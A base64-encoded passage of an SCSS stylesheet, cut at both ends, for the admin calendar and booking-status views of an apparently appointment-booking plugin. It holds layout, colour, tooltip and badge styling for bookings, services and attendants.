gICBtYXJnaW4tYm90dG9tOiAwLjc1cmVtO1xuICAgIH1cbiAgICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgICAgZGlzcGxheTogZ3JpZDtcbiAgICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogM2ZyIDRmcjtcbiAgICAgIGdhcDogMXJlbTtcbiAgICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgfVxuICB9XG5cbiAgLnNsbi1ib29raW5nLXN0YXR1cy1zdW1tYXJ5IHtcbiAgICB3aWR0aDogZml0LWNvbnRlbnQ7XG4gICAganVzdGlmeS1zZWxmOiBmbGV4LWVuZDtcbiAgICBtYXJnaW4tdG9wOiAxMHB4O1xuICAgICYuY2hhcnQtdG9vbHRpcC12aXNpYmxlIHtcbiAgICAgIC5zbG4tc3RhdHVzLXN1bW1hcnlfX2l0ZW06bm90KC5hY3RpdmUpIHtcbiAgICAgIG9wYWNpdHk6IDAuNzU7XG4gICAgICB0cmFuc2Zvcm06IHNjYWxlKDAuOSk7XG4gICAgICBmaWx0ZXI6IHNhdHVyYXRlKDApO1xuICAgICAgfVxuICAgIH1cblxuXG5cbiAgICAvLyBQUk8vRlJFRSB2ZXJzaW9uIHN0eWxpbmdcbiAgICAmLnNsbi1wcm9mZWF0dXJlLS1kaXNhYmxlZCB7XG4gICAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG5cbiAgICAgIC5zbG4tcHJvZmVhdHVyZV9faW5wdXQge1xuICAgICAgICBjdXJzb3I6IG5vdC1hbGxvd2VkO1xuICAgICAgICBwb2ludGVyLWV2ZW50czogbm9uZTtcbiAgICAgICAgcGFkZGluZzogMDtcbiAgICAgICAgcGFkZGluZy1sZWZ0OiA0LjVyZW07XG4gICAgICAgIG9wYWNpdHk6IDE7XG4gICAgICAgIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9iZy0tZ3JleS1saWdodDtcbiAgICAgIH1cblxuICAgICAgLy8gR3JheSBvdXQgdGhlIHN0YXR1cyBpdGVtcyBpbiBGUkVFIHZlcnNpb25cbiAgICAgIC5zbG4tc3RhdHVzLXN1bW1hcnlfX2l0ZW0ge1xuICAgICAgICAvLyBvcGFjaXR5OiAwLjY7XG5cbiAgICAgICAgc3Ryb25nIHtcbiAgICAgICAgICBjb2xvcjogIzk5OTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgLy8gU3R5bGUgdGhlIG1vY2t1cCBTVkcgY2hhcnRcbiAgICAgIC5zbG4tYm9va2luZy1zdGF0dXMtY2hhcnQtbW9ja3VwIHtcbiAgICAgICAgZmlsdGVyOiBzYXR1cmF0ZSgwKTtcbiAgICAgIH1cbiAgICB9XG4gIH1cbiAgLnNsbi1ib29raW5nLXN0YXR1cy1zdW1tYXJ5IHtcbiAgICAuc2xuLXByb2ZlYXR1cmVfX2lucHV0IHtcbiAgICAgIHdpZHRoOiAxMDAlO1xuICAgICAgZGlzcGxheTogZ3JpZDtcbiAgICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogMWZyIDFmcjtcbiAgICAgIGdyaWQtdGVtcGxhdGUtcm93czogYXV0bztcbiAgICAgIGdhcDogMXJlbTtcbiAgICAgIHBhZGRpbmc6IDA7XG4gICAgICBwYWRkaW5nLWJvdHRvbTogMDtcbiAgICAgIC5zbG4tc3RhdHVzLXN1bW1hcnlfX2l0ZW0ge1xuICAgICAgICBkaXNwbGF5OiBmbGV4O1xuICAgICAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uLXJldmVyc2U7XG4gICAgICAgIGFsaWduLWl0ZW1zOiBzdGFydDtcbiAgICAgICAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gICAgICAgIGdhcDogMC4yNXJlbTtcbiAgICAgICAgZm9udC1zaXplOiAwLjc1cmVtO1xuICAgICAgICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlO1xuICAgICAgICBjb2xvcjogYWRtaW5fY29uZmlnLiRjbF9kX3RleHQtLWxpZ2h0O1xuICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMC4ycyBlYXNlO1xuICAgICAgICBzdHJvbmcge1xuICAgICAgICAgIGZvbnQtc2l6ZTogMXJlbTtcbiAgICAgICAgICBmb250LXdlaWdodDogNjAwO1xuICAgICAgICAgIGNvbG9yOiBhZG1pbl9jb25maWcuJGNsX2RfdGV4dC0tbGlnaHQtLWV2aWQ7XG4gICAgICAgICAgdHJhbnNpdGlvbjogYWxsIDAuMnMgZWFzZTtcbiAgICAgICAgfVxuICAgICAgICAmLmFjdGl2ZSB7XG4gICAgICAgICAgdHJhbnNmb3JtOiBzY2FsZSgxLjA1KTtcbiAgICAgICAgfVxuICAgICAgfVxuICAgICAgLnNsbi1zdGF0dXMtc3VtbWFyeV9faXRlbS0tcGFpZC1jb25maXJtZWQge1xuICAgICAgICBjb2xvcjogIzZhYTg0ZjtcbiAgICAgIH1cbiAgICAgIC5zbG4tc3RhdHVzLXN1bW1hcnlfX2l0ZW0tLXBheS1sYXRlciB7XG4gICAgICAgIGNvbG9yOiAjNmQ5ZWViO1xuICAgICAgfVxuICAgICAgLnNsbi1zdGF0dXMtc3VtbWFyeV9faXRlbS0tcGVuZGluZyB7XG4gICAgICAgIGNvbG9yOiAjZjU4MTIwO1xuICAgICAgfVxuICAgICAgLnNsbi1zdGF0dXMtc3VtbWFyeV9faXRlbS0tY2FuY2VsbGVkIHtcbiAgICAgICAgY29sb3I6ICNlNTQ3NDc7XG4gICAgICB9XG4gICAgICAuc2xuLXN0YXR1cy1zdW1tYXJ5X19pdGVtLS1ub3Nob3cge1xuICAgICAgICBjb2xvcjogIzFiMWIyMTtcbiAgICAgIH1cbiAgICAgIEBpbmNsdWRlIHNldHRpbmdzLW1peGlucy5icCh0YWJsZXQpIHtcbiAgICAgICAgZGlzcGxheTogZmxleDtcbiAgICAgICAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuO1xuICAgICAgfVxuICAgICAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKGRlc2t0b3ApIHtcbiAgICAgICAgd2lkdGg6IGZpdC1jb250ZW50O1xuICAgICAgICBqdXN0aWZ5LXNlbGY6IGVuZDtcbiAgICAgICAgZ2FwOiAycmVtO1xuICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGZsZXgtZW5kO1xuICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAgICAvLyBwYWRkaW5nOiAwIDAgMCAxLjVyZW07XG4gICAgICAgIC8vIGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9iZy0tZ3JleS1saWdodDtcbiAgICAgICAgLy8gYm9yZGVyOiAycHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9kX21haW47XG4gICAgICAgIC8vIGJvcmRlci1yYWRpdXM6IDAuNzVyZW07XG4gICAgICB9XG4gICAgfVxuICB9XG5cbiAgLy8gUFJPIGZlYXR1cmUgQ1RBIHNwZWNpZmljIHRvIGJvb2tpbmcgc3RhdHVzIHN1bW1hcnlcbiAgLnNsbi1wcm9mZWF0dXJlX19jdGEuc2xuLXByb2ZlYXR1cmVfX2N0YS0tYm9va2luZy1zdGF0dXMtc3VtbWFyeSB7XG4gICAgLy8gQ292ZXIgdGhlIGVudGlyZSBzdW1tYXJ5IGFyZWFcbiAgICB0b3A6IDA7XG4gICAgcmlnaHQ6IDA7XG4gICAgYm90dG9tOiAwO1xuICAgIGxlZnQ6IDA7XG5cbiAgICAuc2xuLXByb2ZlYXR1cmVfX29wZW4tYnV0dG9uIHtcbiAgICAgIGhlaWdodDogMTAwJTtcbiAgICAgIG1pbi1oZWlnaHQ6IDNyZW07XG5cbiAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgLy8gQ3VzdG9tIHRvb2x0aXAgcG9zaXRpb25pbmcgZm9yIHRoaXMgY29tcG9uZW50XG4gICAgICAgIHBhZGRpbmc6IDAuNzVyZW0gMXJlbSAwLjc1cmVtIDRyZW07XG4gICAgICAgIGJhY2tncm91bmQtcG9zaXRpb246IDFyZW0gY2VudGVyO1xuICAgICAgfVxuICAgIH1cbiAgfVxuXG4gICNzbG4tYm9va2luZy1zdGF0dXMtY2hhcnQtY29udGFpbmVyIHtcbiAgICBzdmcge1xuICAgICAgb3ZlcmZsb3c6IHZpc2libGUgIWltcG9ydGFudDtcbiAgICB9XG4gIH1cblxuICAvLyBDdXN0b20gY2hhcnQgdG9vbHRpcFxuICAjc2xuLWNoYXJ0LWN1c3RvbS10b29sdGlwIHtcbiAgICBwb3NpdGlvbjogYWJzb2x1dGU7XG4gICAgdG9wOiAtNjZweDtcbiAgICByaWdodDogNTAlO1xuICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWCg1MCUpO1xuICAgIGRpc3BsYXk6IG5vbmU7XG4gICAgcG9pbnRlci1ldmVudHM6IG5vbmU7XG4gICAgei1pbmRleDogMTAwMDtcbiAgICBtaW4td2lkdGg6IDE1MHB4O1xuICAgIGhlaWdodDogNjZweDtcblxuICAgIC5zbG4tY2hhcnQtY3VzdG9tLXRvb2x0aXBfX2lubmVyIHtcbiAgICAgIGxpbmUtaGVpZ2h0OiAxLjQ7XG4gICAgICBwYWRkaW5nOiAxMnB4IDE2cHg7XG4gICAgICBiYWNrZ3JvdW5kOiBhZG1pbl9jb25maWcuJGNsX21haW4tLXdoaXRlO1xuICAgICAgYm9yZGVyOiAxcHggc29saWQgYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgIGJvcmRlci1yYWRpdXM6IDRweDtcbiAgICAgIGJveC1zaGFkb3c6IDAgMnB4IDhweCByZ2JhKDAsIDAsIDAsIDAuMTUpO1xuICAgICAgdGV4dC1hbGlnbjogY2VudGVyO1xuICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICB3aWR0aDogMXJlbTtcbiAgICAgICAgaGVpZ2h0OiAxcmVtO1xuICAgICAgICBjb250ZW50OiAnJztcbiAgICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgICBib3R0b206IC04cHg7IC8vIEFkanVzdCBiYXNlZCBvbiBhcnJvdyBzaXplXG4gICAgICAgIGxlZnQ6IDUwJTtcbiAgICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVYKC01MCUpIHJvdGF0ZSg0NWRlZyk7XG4gICAgICAgIGJvcmRlcjogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICAgIGJvcmRlci1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZSBjdXJyZW50Q29sb3IgY3VycmVudENvbG9yXG4gICAgICAgICAgYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogYWRtaW5fY29uZmlnLiRjbF9tYWluLS13aGl0ZTtcbiAgICAgICAgLy8gZmlsdGVyOiBkcm9wLXNoYWRvdygwIDJweCAxcHggcmdiYSgwLCAwLCAwLCAwLjEpKTtcbiAgICAgICAgLy90cmFuc2Zvcm0tb3JpZ2luOiB0b3A7XG4gICAgICB9XG4gICAgfVxuXG4gICAgLnNsbi1jaGFydC1jdXN0b20tdG9vbHRpcF9fbGFiZWwge1xuICAgICAgZm9udC1zaXplOiAwLjc1cmVtO1xuICAgICAgdGV4dC10cmFuc2Zvcm06IHVwcGVyY2FzZTtcbiAgICAgIGZvbnQtd2VpZ2h0OiA2MDA7XG4gICAgICBtYXJnaW4tYm90dG9tOiA0cHg7XG4gICAgfVxuXG4gICAgLnNsbi1jaGFydC1jdXN0b20tdG9vbHRpcF9fdmFsdWUge1xuICAgICAgZm9udC1zaXplOiAwLjg3NXJlbTtcbiAgICAgIGZvbnQtd2VpZ2h0OiA4MDA7XG4gICAgICBjb2xvcjogIzcwODY5NztcbiAgICB9XG5cbiAgICAuc2xuLWNoYXJ0LWN1c3RvbS10b29sdGlwX19jb3VudCB7XG4gICAgICBmb250LXNpemU6IDAuODc1cmVtO1xuICAgICAgY29sb3I6ICM3MDg2OTc7XG4gICAgICBmb250LXdlaWdodDogNDAwO1xuICAgIH1cbiAgfVxuICAvLyAuc2xuLWNhbGVuZGFyLXZpZXcgLy8gRU5EXG59XG4uc2xuLWNhbGVuZGFyLXZpZXctdG9wYmFyIHtcbiAgZGlzcGxheTogZmxleDtcbiAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcbiAgYWxpZ24taXRlbXM6IGNlbnRlcjtcbiAgZ2FwOiAxcmVtO1xuICBwYWRkaW5nOiAxcmVtO1xuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAoZGVza3RvcCkge1xuICAgIGRpc3BsYXk6IGdyaWQ7XG4gICAgZ3JpZC10ZW1wbGF0ZS1jb2x1bW5zOiAxZnIgMWZyO1xuICAgIGdhcDogMXJlbTtcbiAgfVxufVxuLnNsbi1jYWxlbmRhci12aWV3LW5hdiB7XG4gIGRpc3BsYXk6IGdyaWQ7XG4gIGdyaWQtdGVtcGxhdGUtY29sdW1uczogMmZyIDFmciAxZnI7XG4gIGdyaWQtdGVtcGxhdGUtcm93czogYXV0bztcbiAgZ2FwOiAxcmVtO1xuICBwYWRkaW5nOiAxcmVtO1xuICAuc2xuLWJveC10aXRsZSB7XG4gICAgZ3JpZC1jb2x1bW46IDEgLyBzcGFuIDM7XG4gICAgZ3JpZC1yb3c6IDE7XG4gICAgbWluLXdpZHRoOiAxMDAlO1xuICAgIG1hcmdpbi1ib3R0b206IDFyZW07XG4gICAgcGFkZGluZzogMDtcbiAgICB0ZXh0LWFsaWduOiBjZW50ZXI7XG4gICAgQGV4dGVuZCAlZm9udC1iaWc7XG4gIH1cbiAgLnNsbi1idG4tLWNhbGVuZGFyLXZpZXctLXBpbGwge1xuICAgIGdyaWQtY29sdW1uOiAxO1xuICAgIGdyaWQtcm93OiAyO1xuICAgIGJ1dHRvbiB7XG4gICAgICB3aGl0ZS1zcGFjZTogbm93cmFwO1xuICAgICAgb3ZlcmZsb3c6IGhpZGRlbjtcbiAgICAgIHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzO1xuICAgIH1cbiAgfVxuICAuc2xuLWljb24tLWFycm93LS1sZWZ0IHtcbiAgICBncmlkLWNvbHVtbjogMjtcbiAgICBncmlkLXJvdzogMjtcbiAgfVxuICAuc2xuLWljb24tLWFycm93LS1yaWdodCB7XG4gICAgZ3JpZC1jb2x1bW46IDM7XG4gICAgZ3JpZC1yb3c6IDI7XG4gIH1cbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuICAgIGRpc3BsYXk6IGZsZXg7XG4gICAganVzdGlmeS1jb250ZW50OiBzdGFydDtcbiAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIGdhcDogMnJlbTtcbiAgICBncmlkLWNvbHVtbjogMTtcbiAgICAuc2xuLWJveC10aXRsZSB7XG4gICAgICBtaW4td2lkdGg6IHVuc2V0O1xuICAgICAgbWFyZ2luLWJvdHRvbTogMDtcbiAgICAgIHRleHQtYWxpZ246IGxlZnQ7XG4gICAgfVxuICAgIC5zbG4tYm94LXRpdGxlLFxuICAgIC5zbG4tYnRuLS1jYWxlbmRhci12aWV3LS1waWxsLFxuICAgIC5zbG4taWNvbi0tYXJyb3ctLWxlZnQsXG4gICAgLnNsbi1pY29uLS1hcnJvdy0tcmlnaHQge1xuICAgICAgZ3JpZC1jb2x1bW46IHVuc2V0O1xuICAgICAgZ3JpZC1yb3c6IHVuc2V0O1xuICAgIH1cbiAgfVxufVxuLnNsbi1jYWxlbmRhci12aWV3LXN3aXRjaGVyIHtcbiAgLnNsbi1uYXYtdGFiLXdyYXBwZXIubmF2LXRhYi13cmFwcGVyIHtcbiAgICBkaXNwbGF5OiBmbGV4O1xuICAgIGp1c3RpZnktY29udGVudDogZW5kO1xuICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAgbWFyZ2luLWJvdHRvbTogMDtcbiAgICAmOjphZnRlciB7XG4gICAgICBkaXNwbGF5OiBub25lO1xuICAgIH1cbiAgfVxuICBAaW5jbHVkZSBzZXR0aW5ncy1taXhpbnMuYnAodGFibGV0KSB7XG4gICAgZ3JpZC1jb2x1bW46IDI7XG4gICAgLnNsbi1uYXYtdGFiLXdyYXBwZXIubmF2LXRhYi13cmFwcGVyIHtcbiAgICAgIGdhcDogMnJlbTtcbiAgICB9XG4gIH1cbn1cblxuLnNsbi1jYWxlbmRhci12aWV3LXRvcGJhci0tc2Vjb25kYXJ5IHtcbiAgZGlzcGxheTogZmxleDtcbiAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcbiAganVzdGlmeS1jb250ZW50OiBzcGFjZS1iZXR3ZWVuO1xuICBhbGlnbi1pdGVtczogY2VudGVyO1xuICBnYXA6IDFyZW07XG4gIG1hcmdpbi10b3A6IDEuNXJlbTtcbiAgQGluY2x1ZGUgc2V0dGluZ3MtbWl4aW5zLmJwKHRhYmxldCkge1xuICAgIGZsZXgtZGlyZWN0aW9uOiByb3c7XG4gICAgbWFyZ2luLXRvcDogMDtcbiAgICAuc2xuLXN3aXRjaCBpbnB1dCArIGxhYmVsIHtcbiAgICAgIHBhZGRpbmctcmlnaHQ6IDA7XG4gICAgfVxuICB9XG59XG4vL1xuLmRheS1ldmVudC5icmVhay1kb3duOjphZnRlciB7XG4gIGNvbnRlbnQ6ICcnO1xuICBkaXNwbGF5OiBibG9jaztcbiAgbWFyZ2luOiAtMjBweCAwIDA7XG4gIGhlaWdodDogMjBweDtcbiAgdG9wOiAwO1xuICBiYWNrZ3JvdW5kOlxuICAgIGxpbmVhci1ncmFkaWVudCgtNDVkZWcsIHdoaXRlIDEwcHgsIHRyYW5zcGFyZW50IDApIDAgMTBweCxcbiAgICBsaW5lYXItZ3JhZGllbnQoNDVkZWcsIHdoaXRlIDEwcHgsIHRyYW5zcGFyZW50IDApIDAgMTBweDtcbiAgYmFja2dyb3VuZC1wb3NpdGlvbjogdG9wIGxlZnQ7XG4gIGJhY2tncm91bmQtcmVwZWF0OiByZXBlYXQteDtcbiAgYmFja2dyb3VuZC1zaXplOiAxOXB4IDIwcHg7XG59XG4uZGF5LWV2ZW50LmJyZWFrLXVwOjphZnRlciB7XG4gIGNvbnRlbnQ6ICcnO1xuICBkaXNwbGF5OiBibG9jaztcbiAgbWFyZ2luOiAwcHggMCAtMjBweDtcbiAgaGVpZ2h0OiAyMHB4O1xuICB0b3A6IDExMCU7XG4gIGJhY2tncm91bmQ6XG4gICAgbGluZWFyLWdyYWRpZW50KC0xMzVkZWcsIHdoaXRlIDEwcHgsIHRyYW5zcGFyZW50IDApIDAgMTBweCxcbiAgICBsaW5lYXItZ3JhZGllbnQoMTM1ZGVnLCB3aGl0ZSAxMHB4LCB0cmFuc3BhcmVudCAwKSAwIDEwcHg7XG4gIGJhY2tncm91bmQtcG9zaXRpb246IHRvcCBsZWZ0O1xuICBiYWNrZ3JvdW5kLXJlcGVhdDogcmVwZWF0LXg7XG4gIGJhY2tncm91bmQtc2l6ZTogMTlweCAyMHB4O1xufVxuXG4uZGF5LWV2ZW50LmJyZWFrLWRvd24gLmV2ZW50LWl0ZW0ge1xuICBwYWRkaW5nLWJvdHRvbTogMTBweDtcbiAgaGVpZ2h0OiAxMDAlO1xuICBkaXNwbGF5OiBibG9jaztcbiAgYm9yZGVyLWJvdHRvbS13aWR0aDogMDtcbn1cblxuI2NhbC1kYXktYm94IC5kYXktZXZlbnQuYnJlYWstZG93bi5kYXktaGlnaGxpZ2h0IHtcbiAgYm9yZGVyLWJvdHRvbS13aWR0aDogMDtcbn1cblxuLmRheS1ldmVudC5icmVhay11cCAuZXZlbnQtaXRlbSB7XG4gIHBhZGRpbmctdG9wOiAxMHB4O1xuICBoZWlnaHQ6IDEwMCU7XG4gIGRpc3BsYXk6IGZsZXg7XG4gIGJvcmRlci10b3Atd2lkdGg6IDA7XG59XG5cbiNjYWwtZGF5LWJveCAuZGF5LWV2ZW50LmJyZWFrLXVwLmRheS1oaWdobGlnaHQge1xuICBib3JkZXItdG9wLXdpZHRoOiAwO1xufVxuXG4jY2FsLWRheS1ib3ggLmRheS1ldmVudC5uby1ib3JkZXItdG9wLmRheS1oaWdobGlnaHQge1xuICBib3JkZXItdG9wLXdpZHRoOiAwO1xufVxuXG4vLyogRElNSVRSSSAqLy9cbiRjbF9kX3RleHQtLWV2aWQ6IHJnYmEoMCwgMCwgMCwgMSk7XG4kY2xfZF90ZXh0OiByZ2JhKDUxLCA1MSwgNTEsIDEpO1xuJGNsX2RfdGV4dC1hNTogcmdiYSgzOCwgMzgsIDM4LCAwLjUpO1xuJGNsX2RfdGV4dC1hMTU6IHJnYmEoMzgsIDM4LCAzOCwgMC4xNSk7XG4kY2xfZF9pY29uOiAjMDA0MjU4O1xuJGNsX2RfaWNvbi0taG92ZXI6ICMwMDg5Yjc7XG4kY2xfZF9iZy1saWdodGJsdWU6ICM5ZWQ4ZjI7XG5cbi5jYWwtZGF5LXBhbmVsX193cmFwcGVyIHtcbiAgbWF4LWhlaWdodDogODAwcHg7XG4gIHdpZHRoOiAxMDAlO1xuICBvdmVyZmxvdzogYXV0bztcbiAgLyogU3RhbmRhcmRpemVkIHNjcm9sbGJhciBwcm9wZXJ0aWVzIGZvciBGaXJlZm94IGFuZCBtb2Rlcm4gYnJvd3NlcnMgKi9cbiAgc2Nyb2xsYmFyLXdpZHRoOiB0aGluO1xuICBzY3JvbGxiYXItY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9iZy0tbWFpbi0tbGlnaHRcbiAgICBhZG1pbl9jb25maWcuJGNsX2RfYmctLWxpZ2h0LTI7XG5cbiAgLyogV2ViS2l0IHNjcm9sbGJhciBzdHlsaW5nIGZvciBDaHJvbWUsIFNhZmFyaSwgRWRnZSAqL1xuICAmOjotd2Via2l0LXNjcm9sbGJhciB7XG4gICAgd2lkdGg6IDAuNXJlbTtcbiAgfVxuXG4gICY6Oi13ZWJraXQtc2Nyb2xsYmFyLXRyYWNrIHtcbiAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDtcbiAgICBib3JkZXItcmFkaXVzOiAwLjI1cmVtO1xuICAgIG1hcmdpbjogMS4yNXJlbSAwO1xuICB9XG5cbiAgJjo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWIge1xuICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuICAgIGJvcmRlci1yYWRpdXM6IDAuMjVyZW07XG5cbiAgICAmOmhvdmVyIHtcbiAgICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuICAgIH1cbiAgfVxufVxuXG4uZGF5LWV2ZW50LWl0ZW1fX2NhbGVuZGFyLWRheSB7XG4gIG1pbi1oZWlnaHQ6IDgwcHg7XG4gIGhlaWdodDogMTAwJTtcbiAgZGlzcGxheTogZ3JpZDtcbiAgZ3JpZC10ZW1wbGF0ZS1yb3dzOiBhdXRvIGF1dG8gMWZyIGF1dG87XG4gIGdyaWQtdGVtcGxhdGUtY29sdW1uczogYXV0byAzMHB4O1xuICBncmlkLWNvbHVtbi1nYXA6IDBweDtcbiAgZ3JpZC1yb3ctZ2FwOiAwcHg7XG4gIHBhZGRpbmc6IDVweCA3cHg7XG4gIGNvbG9yOiAkY2xfZF90ZXh0LS1ldmlkO1xuICBmb250LXNpemU6IDE0cHg7XG4gICYuZHVyYXRpb24tMTVfX3dyYXBwZXItLWNsb3NlZCB7XG4gICAgbWluLWhlaWdodDogNTBweDtcbiAgICBoZWlnaHQ6IDUwJTtcbiAgICAuc2xuLWljb24tLXBsdXMtY2lyY2xlOjphZnRlciB7XG4gICAgICB0b3A6IDA7XG4gICAgfVxuICB9XG4gIC5zbG4taWNvbi0tcGx1cy1jaXJjbGU6aG92ZXIge1xuICAgIGN1cnNvcjogcG9pbnRlcjtcbiAgICBjb2xvcjogJGNsX2RfaWNvbi0taG92ZXI7XG4gIH1cbn1cbi5kYXktZXZlbnQtaXRlbV9fY2FsZW5kYXItZGF5X19oZWFkZXIge1xuICBncmlkLWNvbHVtbjogMSAvIHNwYW4gMjtcbiAgZ3JpZC1yb3c6IDE7XG4gIGRpc3BsYXk6IGdyaWQ7XG4gIGdyaWQtdGVtcGxhdGUtY29sdW1uczogYXV0byAzMHB4O1xuICBtYXJnaW46IC01cHggLTdweCAwIC03cHg7XG4gIHBhZGRpbmc6IDVweCA3cHggNXB4IDdweDtcbiAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAmOjphZnRlciB7XG4gICAgZGlzcGxheTogYmxvY2s7XG4gICAgY29udGVudDogJyc7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogI2YyZDg5ZTtcbiAgICBtaXgtYmxlbmQtbW9kZTogbXVsdGlwbHk7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHRvcDogMDtcbiAgICByaWdodDogMDtcbiAgICBib3R0b206IDA7XG4gICAgbGVmdDogMDtcbiAgICB6LWluZGV4OiAtMTtcbiAgICBvcGFjaXR5OiAwO1xuICB9XG59XG4uZGF5LWV2ZW50LWl0ZW1fX2N1c3RvbWVyIHtcbiAgZ3JpZC1jb2x1bW46IDE7XG4gIGdyaWQtcm93OiAxO1xuICBmb250LXdlaWdodDogNjAwO1xuICBsaW5lLWhlaWdodDogMjBweDtcbiAgZGlzcGxheTogZmxleDtcbiAgLnNsbi1pY29uLS1jaGVja21hcmsge1xuICAgIGNvbG9yOiAjMjYyNjI2O1xuICAgIHBhZGRpbmctbGVmdDogMjBweDtcbiAgfVxuICAuZGF5LWV2ZW50LWl0ZW1fX2N1c3RvbWVyLW5hbWUge1xuICAgIG1heC13aWR0aDogMTIwcHg7XG4gICAgdGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7XG4gICAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgICBvdmVyZmxvdzogaGlkZGVuO1xuICAgIGZvbnQtc2l6ZTogMTRweDtcbiAgfVxufVxuXG4uZGF5LWV2ZW50LWl0ZW1fX2Jvb2tpbmdfaWQge1xuICBncmlkLWNvbHVtbjogMjtcbiAgb3BhY2l0eTogMC41O1xuICBmb250LXdlaWdodDogNzAwO1xuICBqdXN0aWZ5LXNlbGY6IGVuZDtcbiAgbGluZS1oZWlnaHQ6IDIwcHg7XG4gIGZvbnQtc2l6ZTogMTRweDtcbn1cbi8vIC5kYXktZXZlbnQtaXRlbV9fY2FsZW5kYXItZGF5IHtcbi8vIH1cbi5kYXktZXZlbnQtaXRlbV9fY2FsZW5kYXItZGF5IHVsLnNlcnZpY2Vfd3JhcHBlciB7XG4gIGdyaWQtY29sdW1uOiAxIC8gc3BhbiAyO1xuICBncmlkLXJvdzogMjtcbiAgbGlzdC1zdHlsZS10eXBlOiBub25lO1xuICBwYWRkaW5nOiAwcHg7XG4gIG1hcmdpbi10b3A6IDA7XG4gIG1hcmdpbi1ib3R0b206IDZweDtcbiAgcGFkZGluZy1sZWZ0OiAwO1xuICBsaW5lLWhlaWdodDogMjBweDtcbiAgdGV4dC13cmFwOiBub3dyYXA7XG4gIGxpIHtcbiAgICBtYXJnaW4tYm90dG9tOiAzcHg7XG4gICAgcGFkZGluZzogM3B4IDA7XG4gICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICRjbF9kX3RleHQtYTE1O1xuICAgICY6bGFzdC1jaGlsZCB7XG4gICAgICBib3JkZXItYm90dG9tOiBub25lO1xuICAgIH1cbiAgICAmOm9ubHktY2hpbGQge1xuICAgICAgbWFyZ2luLWJvdHRvbTogMDtcbiAgICAgIHBhZGRpbmctYm90dG9tOiAwO1xuICAgIH1cbiAgfVxufVxuLmRheS1ldmVudC1pdGVtX19zZXJ2aWNlIHtcbiAgY29sb3I6ICRjbF9kX3RleHQ7XG4gIGZvbnQtd2VpZ2h0OiA2MDA7XG4gIGZvbnQtc2l6ZTogMTRweDtcbiAgd2lkdGg6IDEwMCU7XG4gIGRpc3BsYXk6IGJsb2NrO1xuICBtYXgtd2lkdGg6IDE4MHB4O1xuICB0ZXh0LW92ZXJmbG93OiBlbGxpcHNpcztcbiAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgb3ZlcmZsb3c6IGhpZGRlbjtcbn1cblxuLmRheS1ldmVudC1pdGVtX19hdHRlbmRhbnQge1xuICBmb250LXNpemU6IDE0cHg7XG4gIC5kYXktZXZlbnQtaXRlbV9fYXR0ZW5kYW50X25hbWUge1xuICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgIHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzO1xuICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7XG4gICAgb3ZlcmZsb3c6IGhpZGRlbjtcbiAgICBtYXgtd2lkdGg6IDkwcHg7XG4gICAgZmxvYXQ6IGxlZnQ7XG4gIH1cbn1cblxuLmRheS1ldmVudC1pdGVtX19hdHRlbmRhbnRfdGltaW5nIHtcbiAgZm9udC1zaXplOiAxMnB4O1xuICBtYXJnaW4tbGVmdDogM3B4O1xufVxuXG4vLyBXYWxrLUluIEJhZGdlXG4uc2xuLXdhbGtpbi1iYWRnZSB7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgYm90dG9tOiA4cHg7XG4gIGxlZnQ6IDhweDtcbiAgZm9udC1zaXplOiAxOHB4O1xuICBvcGFjaXR5OiAwLjc7XG4gIHRyYW5zaXRpb246IG9wYWNpdHkgMC4ycyBlYXNlLCB0cmFuc2Zvcm0gMC4ycyB